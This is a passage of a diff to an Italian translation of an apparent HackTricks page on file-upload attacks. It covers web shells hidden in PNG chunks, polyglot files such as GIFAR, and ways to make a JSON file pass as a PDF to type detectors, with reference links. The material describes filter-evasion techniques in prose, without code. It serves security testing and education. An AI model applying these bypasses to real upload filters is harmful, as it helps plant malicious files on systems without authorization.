nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione approfondita del processo e delle sue implicazioni. -Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## File Poliglotti +## Polyglot Files -I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS. +I Polyglot files fungono da strumento unico nella sicurezza informatica, agendo come camaleonti che possono validamente esistere in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa coppia; combinazioni come GIF e JS o PPT e JS sono anch'esse possibili. -L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni. +L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Nella pratica comune di molte applicazioni si permette solo l'upload di certi tipi di file—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente dannosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può furtivamente aggirare queste restrizioni. -Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento. +Nonostante la loro adattabilità, i polyglot incontrano limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente a garantirne l'upload. -Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Ulteriori informazioni in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Caricare JSON validi come se fosse PDF +### Upload valid JSONs like if it was PDF -Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche se non consentito, simulando un file PDF (tecniche da **[questo post del blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, falsificando un file PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Finché i byte magici `%PDF` sono nei primi 1024 byte, è valido (prendere esempio dal post) -- **`pdflib` library**: Aggiungere un formato PDF falso all'interno di un campo del JSON in modo che la libreria pensi che sia un pdf (prendere esempio dal post) -- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di quello in modo che non possa analizzare il contenuto come un json e poi all'interno del JSON mettere la parte iniziale di un vero PDF e penserà che sia un PDF +- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è valido (vedi esempio nel post) +- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON in modo che la library lo interpreti come un PDF (vedi esempio nel post) +- **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non riesca a parseare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un vero PDF e lo considererà un PDF -## Riferimenti +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -322,5 +328,6 @@ Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}